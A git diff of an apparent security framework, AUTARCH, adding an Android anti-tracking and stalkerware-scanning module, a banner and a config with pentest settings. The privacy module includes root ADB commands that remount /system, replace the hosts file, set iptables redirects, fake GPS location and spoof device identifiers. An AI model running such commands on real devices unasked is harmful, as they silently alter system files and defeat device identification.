results['suspicious_processes'] = self.scan_suspicious_processes(serial) + results['certificates'] = self.scan_certificates(serial) + results['network_config'] = self.scan_network_config(serial) + results['developer_options'] = self.scan_developer_options(serial) + results['dangerous_apps'] = self.find_dangerous_apps(serial) + + # Summary + total_threats = 0 + total_threats += len(results['stalkerware'].get('found', [])) + total_threats += results['spyware_indicators'].get('count', 0) + total_threats += sum( + 1 for a in results['device_admins'].get('admins', []) + if a.get('suspicious')) + total_threats += sum( + 1 for s in results['accessibility'].get('services', []) + if s.get('status') == 'malicious') + total_threats += sum( + 1 for l in results['notification_listeners'].get('listeners', []) + if l.get('suspicious')) + total_threats += results['suspicious_processes'].get('count', 0) + total_threats += results['certificates'].get('count', 0) + + integrity_ok = results['system_integrity'].get('ok_count', 0) + integrity_total = results['system_integrity'].get('total', 0) + + results['summary'] = { + 'threats_found': total_threats, + 'system_integrity': f'{integrity_ok}/{integrity_total}', + 'hidden_apps': results['hidden_apps'].get('count', 0), + 'dangerous_apps': results['dangerous_apps'].get('count', 0), + 'user_ca_certs': results['certificates'].get('count', 0), + } + + return results + + def export_scan_report(self, serial, scan_result=None): + """Save scan report as JSON file.""" + if scan_result is None: + scan_result = self.full_protection_scan(serial) + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + fname = f'scan_{ts}.json' + fpath = self._scans_dir(serial) / fname + with open(fpath, 'w') as f: + json.dump(scan_result, f, indent=2, default=str) + return {'ok': True, 'path': str(fpath), 'filename': fname} + + # ── Tracking Honeypot ────────────────────────────────────────── + + # -- Honeypot Helpers -- + + def _load_tracker_domains(self): + """Lazy-load tracker domain database.""" + if self._tracker_db is not None: + return self._tracker_db + if not self._tracker_path.exists(): + self._tracker_db = {} + return self._tracker_db + try: + with open(self._tracker_path, 'r') as f: + self._tracker_db = json.load(f) + except (json.JSONDecodeError, OSError): + self._tracker_db = {} + return self._tracker_db + + def _check_root(self, serial): + """Check if device has root (su) access.""" + stdout, _, rc = self._adb_shell('su -c id', serial=serial, timeout=10) + return rc == 0 and 'uid=0' in stdout + + def _load_honeypot_config(self, serial): + """Load per-device honeypot state.""" + cfg_path = self._device_dir(serial) / 'honeypot_config.json' + if not cfg_path.exists(): + return {'active': False, 'tier': 0, 'protections': {}} + try: + with open(cfg_path, 'r') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + return {'active': False, 'tier': 0, 'protections': {}} + + def _save_honeypot_config(self, serial, config): + """Save per-device honeypot state.""" + cfg_path = self._device_dir(serial) / 'honeypot_config.json' + with open(cfg_path, 'w') as f: + json.dump(config, f, indent=2) + + def generate_hosts_content(self): + """Generate hosts-file blocklist from all tracker domains.""" + db = self._load_tracker_domains() + domains = set() + for cat in db.get('categories', {}).values(): + domains.update(cat.get('domains', [])) + for company in db.get('companies', {}).values(): + domains.update(company.get('domains', [])) + lines = ['# AUTARCH Tracking Honeypot Blocklist', + f'# Generated {datetime.now().isoformat()}', + f'# {len(domains)} domains blocked', + '127.0.0.1 localhost', + '::1 localhost'] + for d in sorted(domains): + lines.append(f'127.0.0.1 {d}') + return '\n'.join(lines) + '\n' + + # -- Status & Detection -- + + def honeypot_status(self, serial): + """Report honeypot status for a device.""" + config = self._load_honeypot_config(serial) + result = { + 'active': config.get('active', False), + 'tier': config.get('tier', 0), + 'protections': config.get('protections', {}), + } + # Quick live checks + stdout, _, _ = self._adb_shell( + 'settings get secure limit_ad_tracking', serial=serial, timeout=5) + result['ad_tracking_limited'] = stdout.strip() == '1' + + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + result['private_dns_mode'] = stdout.strip() or 'off' + + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_specifier', serial=serial, timeout=5) + result['private_dns_host'] = stdout.strip() if stdout.strip() != 'null' else '' + + return result + + def scan_tracker_apps(self, serial): + """Match installed packages against known tracker packages.""" + db = self._load_tracker_domains() + tracker_pkgs = db.get('tracker_packages', []) + installed = self._get_installed_packages(serial) + if not installed: + return {'error': 'Could not list packages', 'found': [], 'total': 0} + + found = [] + for pkg in installed: + for tracker in tracker_pkgs: + if pkg.startswith(tracker) or pkg == tracker: + found.append(pkg) + break + + # Also check company-specific tracker packages + for company, data in db.get('companies', {}).items(): + for tpkg in data.get('tracker_packages', []): + for pkg in installed: + if pkg.startswith(tpkg) and pkg not in found: + found.append(pkg) + + return {'found': sorted(found), 'count': len(found), + 'total': len(installed)} + + def scan_tracker_permissions(self, serial): + """Find non-system apps with tracking-related permissions.""" + db = self._load_tracker_domains() + tracking_perms = db.get('tracking_permissions', [ + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'READ_PHONE_STATE', 'AD_ID', + ]) + installed = self._get_installed_packages(serial) + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 'com.huawei.', 'com.qualcomm.', + ) + + results = [] + for pkg in installed: + if any(pkg.startswith(p) for p in system_prefixes): + continue + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep "android.permission"', + serial=serial, timeout=10) + if rc != 0 or not stdout: + continue + matched = [] + for perm in tracking_perms: + full_perm = f'android.permission.{perm}' + if full_perm in stdout and 'granted=true' in stdout.split(full_perm)[-1][:50]: + matched.append(perm) + if matched: + results.append({'package': pkg, 'permissions': matched}) + + results.sort(key=lambda x: len(x['permissions']), reverse=True) + return {'apps': results, 'count': len(results)} + + def get_advertising_id(self, serial): + """Read the device advertising ID.""" + stdout, _, rc = self._adb_shell( + 'settings get secure advertising_id', serial=serial, timeout=5) + ad_id = stdout.strip() + if ad_id == 'null' or not ad_id: + ad_id = 'Not set' + return {'advertising_id': ad_id} + + def get_tracking_settings(self, serial): + """Read all tracking-related device settings.""" + settings = {} + checks = [ + ('limit_ad_tracking', 'secure', 'Ad tracking limited'), + ('advertising_id', 'secure', 'Advertising ID'), + ] + for setting, namespace, desc in checks: + stdout, _, _ = self._adb_shell( + f'settings get {namespace} {setting}', + serial=serial, timeout=5) + val = stdout.strip() + settings[setting] = { + 'value': val if val and val != 'null' else 'Not set', + 'description': desc, + } + + # Location mode + stdout, _, _ = self._adb_shell( + 'settings get secure location_mode', serial=serial, timeout=5) + settings['location_mode'] = { + 'value': stdout.strip() or 'unknown', + 'description': 'Location mode (3=high accuracy)', + } + + # Private DNS + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + settings['private_dns_mode'] = { + 'value': stdout.strip() or 'off', + 'description': 'Private DNS mode', + } + + # WiFi scanning + stdout, _, _ = self._adb_shell( + 'settings get global wifi_scan_always_enabled', + serial=serial, timeout=5) + settings['wifi_scanning'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'WiFi background scanning', + } + + # BT scanning + stdout, _, _ = self._adb_shell( + 'settings get global ble_scan_always_enabled', + serial=serial, timeout=5) + settings['bt_scanning'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'Bluetooth background scanning', + } + + # Usage diagnostics + stdout, _, _ = self._adb_shell( + 'settings get global send_action_app_error', + serial=serial, timeout=5) + settings['diagnostics'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'Usage & diagnostics reporting', + } + + return settings + + # -- Tier 1: ADB (no root required) -- + + def reset_advertising_id(self, serial): + """Reset Google Advertising ID.""" + # Delete existing ad ID + _, _, rc1 = self._adb_shell( + 'settings delete secure advertising_id', serial=serial) + # Send broadcast to GMS to regenerate + _, _, rc2 = self._adb_shell( + 'am broadcast -a com.google.android.gms.ads.identifier.service.RESET', + serial=serial) + # Also try content provider approach + self._adb_shell( + 'content call --uri content://com.google.android.gms.ads.identifier ' + '--method resetAdvertisingId', + serial=serial, timeout=5) + return {'ok': True, 'message': 'Advertising ID reset requested'} + + def opt_out_ad_tracking(self, serial): + """Enable limit_ad_tracking opt-out.""" + _, _, rc = self._adb_shell( + 'settings put secure limit_ad_tracking 1', serial=serial) + if rc == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['ad_opt_out'] = True + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Ad tracking opt-out enabled'} + return {'ok': False, 'error': 'Failed to set limit_ad_tracking'} + + def set_private_dns(self, serial, provider): + """Set private DNS to an ad-blocking provider.""" + db = self._load_tracker_domains() + providers = db.get('dns_providers', {}) + if provider not in providers: + return {'ok': False, + 'error': f'Unknown provider: {provider}. ' + f'Available: {", ".join(providers.keys())}'} + hostname = providers[provider]['hostname'] + # Set DNS mode + _, _, rc1 = self._adb_shell( + 'settings put global private_dns_mode hostname', + serial=serial) + # Set DNS hostname + _, _, rc2 = self._adb_shell( + f'settings put global private_dns_specifier {hostname}', + serial=serial) + if rc1 == 0 and rc2 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['private_dns'] = provider + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': f'Private DNS set to {hostname}', + 'provider': provider} + return {'ok': False, 'error': 'Failed to set private DNS'} + + def clear_private_dns(self, serial): + """Revert private DNS to system default (opportunistic).""" + _, _, rc = self._adb_shell( + 'settings put global private_dns_mode opportunistic', + serial=serial) + self._adb_shell( + 'settings delete global private_dns_specifier', serial=serial) + if rc == 0: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('private_dns', None) + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Private DNS reverted to default'} + return {'ok': False, 'error': 'Failed to clear private DNS'} + + def disable_location_accuracy(self, serial): + """Disable WiFi and Bluetooth background scanning.""" + results = [] + _, _, rc1 = self._adb_shell( + 'settings put global wifi_scan_always_enabled 0', serial=serial) + results.append({'setting': 'wifi_scanning', 'ok': rc1 == 0}) + _, _, rc2 = self._adb_shell( + 'settings put global ble_scan_always_enabled 0', serial=serial) + results.append({'setting': 'bt_scanning', 'ok': rc2 == 0}) + if rc1 == 0 and rc2 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['location_accuracy'] = True + self._save_honeypot_config(serial, config) + return {'ok': rc1 == 0 and rc2 == 0, 'results': results} + + def disable_usage_diagnostics(self, serial): + """Turn off usage & diagnostics reporting.""" + _, _, rc1 = self._adb_shell( + 'settings put global send_action_app_error 0', serial=serial) + _, _, rc2 = self._adb_shell( + 'settings put secure send_action_app_error 0', serial=serial) + if rc1 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['diagnostics'] = True + self._save_honeypot_config(serial, config) + return {'ok': rc1 == 0, 'message': 'Usage diagnostics disabled'} + + # -- Tier 2: Shizuku-level -- + + def restrict_app_background(self, serial, package): + """Restrict an app's background activity.""" + results = [] + _, _, rc1 = self._adb_shell( + f'cmd appops set {package} RUN_IN_BACKGROUND deny', + serial=serial) + results.append({'op': 'RUN_IN_BACKGROUND', 'ok': rc1 == 0}) + _, _, rc2 = self._adb_shell( + f'cmd appops set {package} RUN_ANY_IN_BACKGROUND deny', + serial=serial) + results.append({'op': 'RUN_ANY_IN_BACKGROUND', 'ok': rc2 == 0}) + return {'ok': rc1 == 0, 'package': package, 'results': results} + + def revoke_tracker_permissions(self, serial, package): + """Revoke tracking-related permissions from an app.""" + db = self._load_tracker_domains() + tracking_perms = db.get('tracking_permissions', [ + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'ACCESS_BACKGROUND_LOCATION', 'READ_PHONE_STATE', + 'GET_ACCOUNTS', 'READ_CONTACTS', 'READ_CALL_LOG', + ]) + revoked = [] + failed = [] + for perm in tracking_perms: + full = f'android.permission.{perm}' + _, stderr, rc = self._adb_shell( + f'pm revoke {package} {full}', serial=serial) + if rc == 0: + revoked.append(perm) + elif 'not a changeable permission' not in (stderr or ''): + failed.append(perm) + return {'revoked': revoked, 'failed': failed, 'package': package} + + def clear_app_tracking_data(self, serial, package): + """Clear tracking data for an app (cache + storage).""" + _, _, rc = self._adb_shell( + f'pm clear {package}', serial=serial, timeout=15) + if rc == 0: + return {'ok': True, 'message': f'Cleared all data for {package}'} + # Fallback: reset appops + _, _, rc2 = self._adb_shell( + f'cmd appops reset {package}', serial=serial) + return {'ok': rc2 == 0, + 'message': f'Reset appops for {package}' if rc2 == 0 + else f'Failed to clear data for {package}'} + + def force_stop_trackers(self, serial): + """Force-stop all known tracker packages found on device.""" + db = self._load_tracker_domains() + tracker_pkgs = set(db.get('tracker_packages', [])) + for company in db.get('companies', {}).values(): + tracker_pkgs.update(company.get('tracker_packages', [])) + installed = self._get_installed_packages(serial) + + stopped = [] + for pkg in installed: + for tracker in tracker_pkgs: + if pkg.startswith(tracker) or pkg == tracker: + _, _, rc = self._adb_shell( + f'am force-stop {pkg}', serial=serial, timeout=5) + if rc == 0: + stopped.append(pkg) + break + return {'stopped': stopped, 'count': len(stopped)} + + # -- Tier 3: Root -- + + def deploy_hosts_blocklist(self, serial): + """Deploy tracker-blocking hosts file (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + # Backup existing hosts + self._adb_shell( + 'su -c "cp /system/etc/hosts /data/local/tmp/hosts.bak"', + serial=serial) + # Generate and push blocklist + content = self.generate_hosts_content() + tmp_path = self._device_dir(serial) / 'hosts_blocklist' + with open(tmp_path, 'w') as f: + f.write(content) + # Push to device temp location + self._adb(['push', str(tmp_path), '/data/local/tmp/hosts_new'], + serial=serial, timeout=30) + # Mount rw, copy, mount ro + stdout, _, rc = self._adb_shell( + 'su -c "' + 'mount -o remount,rw /system 2>/dev/null; ' + 'cp /data/local/tmp/hosts_new /system/etc/hosts && ' + 'chmod 644 /system/etc/hosts && ' + 'mount -o remount,ro /system 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=15) + success = 'DONE' in stdout + if success: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['hosts_blocklist'] = True + self._save_honeypot_config(serial, config) + domain_count = content.count('\n') - 5 # minus header lines + return {'ok': True, + 'message': f'Hosts blocklist deployed ({domain_count} domains)'} + return {'ok': False, 'error': 'Failed to deploy hosts file'} + + def remove_hosts_blocklist(self, serial): + """Restore original hosts file.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + stdout, _, rc = self._adb_shell( + 'su -c "' + 'mount -o remount,rw /system 2>/dev/null; ' + 'if [ -f /data/local/tmp/hosts.bak ]; then ' + 'cp /data/local/tmp/hosts.bak /system/etc/hosts; ' + 'else echo 127.0.0.1 localhost > /system/etc/hosts; fi; ' + 'chmod 644 /system/etc/hosts && ' + 'mount -o remount,ro /system 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=15) + success = 'DONE' in stdout + if success: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('hosts_blocklist', None) + self._save_honeypot_config(serial, config) + return {'ok': success, + 'message': 'Hosts file restored' if success + else 'Failed to restore hosts'} + + def get_hosts_status(self, serial): + """Check current hosts file status.""" + stdout, _, rc = self._adb_shell( + 'wc -l /system/etc/hosts 2>/dev/null && ' + 'head -3 /system/etc/hosts 2>/dev/null', + serial=serial, timeout=5) + is_blocklist = 'AUTARCH' in stdout + lines = stdout.strip().split('\n') + line_count = 0 + if lines and lines[0]: + try: + line_count = int(lines[0].split()[0]) + except (ValueError, IndexError): + pass + return {'line_count': line_count, 'is_blocklist': is_blocklist, + 'header': '\n'.join(lines[1:4]) if len(lines) > 1 else ''} + + def setup_iptables_redirect(self, serial, port=9040): + """Redirect tracker traffic through local proxy via iptables.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + db = self._load_tracker_domains() + # Get a subset of high-priority tracker IPs to redirect + # We redirect DNS queries and HTTP(S) for tracker domains + cmds = [ + f'iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null', + f'iptables -t nat -F AUTARCH_HONEYPOT', + f'iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 80 -j REDIRECT --to-port {port}', + f'iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -j REDIRECT --to-port {port}', + f'iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 0 -j AUTARCH_HONEYPOT', + ] + cmd_str = ' && '.join(cmds) + stdout, _, rc = self._adb_shell( + f'su -c "{cmd_str}"', serial=serial, timeout=15) + if rc == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['iptables_redirect'] = port + self._save_honeypot_config(serial, config) + return {'ok': True, + 'message': f'Traffic redirect active on port {port}'} + return {'ok': False, 'error': f'iptables setup failed: {stdout}'} + + def clear_iptables_redirect(self, serial): + """Remove iptables redirect rules.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + stdout, _, rc = self._adb_shell( + 'su -c "' + 'iptables -t nat -D OUTPUT -p tcp -m owner ! --uid-owner 0 ' + '-j AUTARCH_HONEYPOT 2>/dev/null; ' + 'iptables -t nat -F AUTARCH_HONEYPOT 2>/dev/null; ' + 'iptables -t nat -X AUTARCH_HONEYPOT 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=10) + if 'DONE' in stdout: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('iptables_redirect', None) + self._save_honeypot_config(serial, config) + return {'ok': 'DONE' in stdout, + 'message': 'iptables rules cleared' if 'DONE' in stdout + else 'Failed to clear iptables'} + + def set_fake_location(self, serial, lat, lon): + """Set fake GPS location for tracker apps (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + # Enable mock locations + self._adb_shell( + 'settings put secure allow_mock_location 1', serial=serial) + # Send fake location to Shield app receiver + self._adb_shell( + f'am broadcast -a com.autarch.shield.FAKE_LOCATION ' + f'--ef lat {lat} --ef lon {lon} ' + f'-n com.autarch.shield/.LocationReceiver', + serial=serial) + # Also set via system property for root-level spoofing + self._adb_shell( + f'su -c "setprop persist.autarch.fake_lat {lat}"', + serial=serial) + self._adb_shell( + f'su -c "setprop persist.autarch.fake_lon {lon}"', + serial=serial) + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['fake_location'] = { + 'lat': lat, 'lon': lon} + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': f'Fake location set: {lat}, {lon}'} + + def set_random_fake_location(self, serial): + """Pick a random famous location from templates.""" + db = self._load_tracker_domains() + locations = db.get('fake_data_templates', {}).get('locations', []) + if not locations: + return {'ok': False, 'error': 'No location templates available'} + loc = random.choice(locations) + result = self.set_fake_location(serial, loc['lat'], loc['lon']) + result['location_name'] = loc.get('name', 'Unknown') + return result + + def clear_fake_location(self, serial): + """Disable fake location.""" + self._adb_shell( + 'settings put secure allow_mock_location 0', serial=serial) + self._adb_shell( + 'su -c "setprop persist.autarch.fake_lat \"\""', + serial=serial) + self._adb_shell( + 'su -c "setprop persist.autarch.fake_lon \"\""', + serial=serial) + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('fake_location', None) + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Fake location cleared'} + + def rotate_device_identity(self, serial): + """Randomize device identifiers (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + changes = [] + # Randomize android_id + new_id = ''.join(random.choices('0123456789abcdef', k=16)) + _, _, rc = self._adb_shell( + f'settings put secure android_id {new_id}', serial=serial) + changes.append({'setting': 'android_id', 'value': new_id, 'ok': rc == 0}) + # Reset advertising ID + self._adb_shell( + 'settings delete secure advertising_id', serial=serial) + changes.append({'setting': 'advertising_id', 'value': 'reset', 'ok': True}) + # Randomize SSAID if possible + new_ssaid = ''.join(random.choices('0123456789abcdef', k=16)) + _, _, rc = self._adb_shell( + f'su -c "settings put secure android_id {new_id}"', + serial=serial) + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['identity_rotated'] = True + config['protections']['last_rotation'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + return {'ok': True, 'changes': changes, + 'message': f'Device identity rotated (new ID: {new_id[:8]}...)'} + + def generate_fake_fingerprint(self, serial): + """Set fake device model/manufacturer props (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + db = self._load_tracker_domains() + models = db.get('fake_data_templates', {}).get('device_models', [ + 'Samsung Galaxy S25 Ultra', 'Google Pixel 9 Pro', + 'iPhone 16 Pro Max', + ]) + model = random.choice(models) + # Parse brand/model + parts = model.split(' ', 1) + brand = parts[0] + model_name = parts[1] if len(parts) > 1 else model + + changes = [] + props = { + 'ro.product.model': model_name, + 'ro.product.brand': brand, + 'ro.product.manufacturer': brand, + 'ro.product.device': model_name.lower().replace(' ', '_'), + } + for prop, val in props.items(): + _, _, rc = self._adb_shell( + f'su -c "setprop {prop} \'{val}\'"', serial=serial) + changes.append({'prop': prop, 'value': val, 'ok': rc == 0}) + + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['fake_fingerprint'] = model + self._save_honeypot_config(serial, config) + return {'ok': True, 'model': model, 'changes': changes, + 'message': f'Device now reports as {model}'} + + # -- Composite Actions -- + + def honeypot_activate(self, serial, tier=1): + """Activate honeypot protections up to the specified tier.""" + results = {'tier': tier, 'actions': []} + + # Tier 1 — always applied + r = self.reset_advertising_id(serial) + results['actions'].append({'name': 'Reset Ad ID', 'result': r}) + r = self.opt_out_ad_tracking(serial) + results['actions'].append({'name': 'Opt Out Ad Tracking', 'result': r}) + r = self.disable_location_accuracy(serial) + results['actions'].append({'name': 'Disable Location Scanning', 'result': r}) + r = self.disable_usage_diagnostics(serial) + results['actions'].append({'name': 'Disable Diagnostics', 'result': r}) + # Set DNS to AdGuard by default + r = self.set_private_dns(serial, 'adguard') + results['actions'].append({'name': 'Set Ad-Blocking DNS', 'result': r}) + + # Tier 2 — stop trackers + if tier >= 2: + r = self.force_stop_trackers(serial) + results['actions'].append({'name': 'Force Stop Trackers', 'result': r}) + + # Tier 3 — root + if tier >= 3: + r = self.deploy_hosts_blocklist(serial) + results['actions'].append({'name': 'Deploy Hosts Blocklist', 'result': r}) + r = self.set_random_fake_location(serial) + results['actions'].append({'name': 'Set Fake Location', 'result': r}) + r = self.rotate_device_identity(serial) + results['actions'].append({'name': 'Rotate Identity', 'result': r}) + r = self.generate_fake_fingerprint(serial) + results['actions'].append({'name': 'Fake Fingerprint', 'result': r}) + + config = self._load_honeypot_config(serial) + config['active'] = True + config['tier'] = tier + config['activated_at'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + + ok_count = sum(1 for a in results['actions'] + if a['result'].get('ok', False)) + results['summary'] = f'{ok_count}/{len(results["actions"])} protections applied' + return results + + def honeypot_deactivate(self, serial): + """Undo all active honeypot protections.""" + config = self._load_honeypot_config(serial) + protections = config.get('protections', {}) + results = {'actions': []} + + # Revert DNS + if 'private_dns' in protections: + r = self.clear_private_dns(serial) + results['actions'].append({'name': 'Clear DNS', 'result': r}) + + # Re-enable ad tracking (user's original choice) + if protections.get('ad_opt_out'): + self._adb_shell( + 'settings put secure limit_ad_tracking 0', serial=serial) + results['actions'].append({ + 'name': 'Re-enable Ad Tracking', + 'result': {'ok': True}}) + + # Re-enable scanning + if protections.get('location_accuracy'): + self._adb_shell( + 'settings put global wifi_scan_always_enabled 1', + serial=serial) + self._adb_shell( + 'settings put global ble_scan_always_enabled 1', + serial=serial) + results['actions'].append({ + 'name': 'Re-enable Location Scanning', + 'result': {'ok': True}}) + + # Re-enable diagnostics + if protections.get('diagnostics'): + self._adb_shell( + 'settings put global send_action_app_error 1', + serial=serial) + results['actions'].append({ + 'name': 'Re-enable Diagnostics', + 'result': {'ok': True}}) + + # Root: remove hosts blocklist + if protections.get('hosts_blocklist'): + r = self.remove_hosts_blocklist(serial) + results['actions'].append({'name': 'Remove Hosts Blocklist', 'result': r}) + + # Root: clear iptables + if 'iptables_redirect' in protections: + r = self.clear_iptables_redirect(serial) + results['actions'].append({'name': 'Clear iptables', 'result': r}) + + # Root: clear fake location + if 'fake_location' in protections: + r = self.clear_fake_location(serial) + results['actions'].append({'name': 'Clear Fake Location', 'result': r}) + + # Reset config + config['active'] = False + config['tier'] = 0 + config['protections'] = {} + config['deactivated_at'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + + return results + + def get_fake_data_set(self, serial): + """Generate a random fake persona from templates.""" + db = self._load_tracker_domains() + templates = db.get('fake_data_templates', {}) + locations = templates.get('locations', []) + searches = templates.get('searches', []) + purchases = templates.get('purchases', []) + interests = templates.get('interests', []) + models = templates.get('device_models', []) + + persona = { + 'location': random.choice(locations) if locations else None, + 'recent_searches': random.sample(searches, + min(5, len(searches))) if searches else [], + 'recent_purchases': random.sample(purchases, + min(3, len(purchases))) if purchases else [], + 'interests': random.sample(interests, + min(8, len(interests))) if interests else [], + 'device': random.choice(models) if models else None, + } + return persona + + # -- Data Management -- + + def update_tracker_domains(self, url=None): + """Download and merge tracker domains from remote source.""" + import urllib.request + if not url: + url = ('https://raw.githubusercontent.com/nickthetailmighty/' + 'pi-hole-blocklist/master/base-blocklist.txt') + try: + req = urllib.request.Request(url, + headers={'User-Agent': 'AUTARCH/1.0'}) + with urllib.request.urlopen(req, timeout=30) as resp: + raw = resp.read().decode() + db = self._load_tracker_domains() + merged = 0 + existing = set() + for cat in db.get('categories', {}).values(): + existing.update(cat.get('domains', [])) + new_domains = [] + for line in raw.split('\n'): + line = line.strip() + if not line or line.startswith('#'): + continue + # Handle hosts-file format (0.0.0.0 domain or 127.0.0.1 domain) + parts = line.split() + domain = parts[-1] if parts else line + domain = domain.strip() + if domain and '.' in domain and domain not in existing: + new_domains.append(domain) + merged += 1 + # Add to advertising category + if new_domains: + db.setdefault('categories', {}).setdefault( + 'advertising', {'domains': [], 'description': 'Ad networks'} + )['domains'].extend(new_domains[:500]) + db['last_updated'] = datetime.now().strftime('%Y-%m-%d') + with open(self._tracker_path, 'w') as f: + json.dump(db, f, indent=2) + self._tracker_db = db + return {'ok': True, 'merged': merged, 'source': url} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def get_tracker_stats(self): + """Domain/package counts by category.""" + db = self._load_tracker_domains() + categories = {} + total_domains = 0 + for cat_name, cat_data in db.get('categories', {}).items(): + count = len(cat_data.get('domains', [])) + categories[cat_name] = count + total_domains += count + companies = len(db.get('companies', {})) + packages = len(db.get('tracker_packages', [])) + return { + 'total_domains': total_domains, + 'categories': categories, + 'companies': companies, + 'packages': packages, + 'version': db.get('version', 'unknown'), + 'dns_providers': list(db.get('dns_providers', {}).keys()), + } + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_android_protect_manager(): + global _manager + if _manager is None: + _manager = AndroidProtectManager() + return _manager diff --git a/core/banner.py b/core/banner.py new file mode 100644 index 0000000..01378d5 --- /dev/null +++ b/core/banner.py @@ -0,0 +1,49 @@ +""" +AUTARCH Banner Module +Displays the main ASCII banner for the framework +""" + +# ANSI color codes +class Colors: + RED = '\033[91m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + BLUE = '\033[94m' + MAGENTA = '\033[95m' + CYAN = '\033[96m' + WHITE = '\033[97m' + BOLD = '\033[1m' + DIM = '\033[2m' + RESET = '\033[0m' + + +BANNER = f"""{Colors.RED}{Colors.BOLD} + ▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██ + ▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒ + ▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░ + ░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██ + ▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓ + ▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒ + ▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░ + ░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ + ░ +{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET} +{Colors.DIM}═══════════════════════════════════════════════════════════════════{Colors.RESET} +""" + + +def display_banner(): + """Print the AUTARCH banner to the console.""" + print(BANNER) + + +def clear_screen(): + """Clear the terminal screen.""" + import os + os.system('clear' if os.name == 'posix' else 'cls') + + +if __name__ == "__main__": + clear_screen() + display_banner() diff --git a/core/config.py b/core/config.py new file mode 100644 index 0000000..d89c843 --- /dev/null +++ b/core/config.py @@ -0,0 +1,520 @@ +""" +AUTARCH Configuration Handler +Manages the autarch_settings.conf file for llama.cpp settings +""" + +import os +import configparser +from pathlib import Path + + +class Config: + """Configuration manager for AUTARCH settings.""" + + DEFAULT_CONFIG = { + 'llama': { + 'model_path': '', + 'n_ctx': '4096', + 'n_threads': '4', + 'n_gpu_layers': '0', + 'gpu_backend': 'cpu', + 'temperature': '0.7', + 'top_p': '0.9', + 'top_k': '40', + 'repeat_penalty': '1.1', + 'max_tokens': '2048', + 'seed': '-1', + }, + 'autarch': { + 'first_run': 'true', + 'modules_path': 'modules', + 'verbose': 'false', + 'quiet': 'false', + 'no_banner': 'false', + 'llm_backend': 'local', + }, + 'claude': { + 'api_key': '', + 'model': 'claude-sonnet-4-20250514', + 'max_tokens': '4096', + 'temperature': '0.7', + }, + 'osint': { + 'max_threads': '8', + 'timeout': '8', + 'include_nsfw': 'false', + }, + 'pentest': { + 'max_pipeline_steps': '50', + 'output_chunk_size': '2000', + 'auto_execute': 'false', + 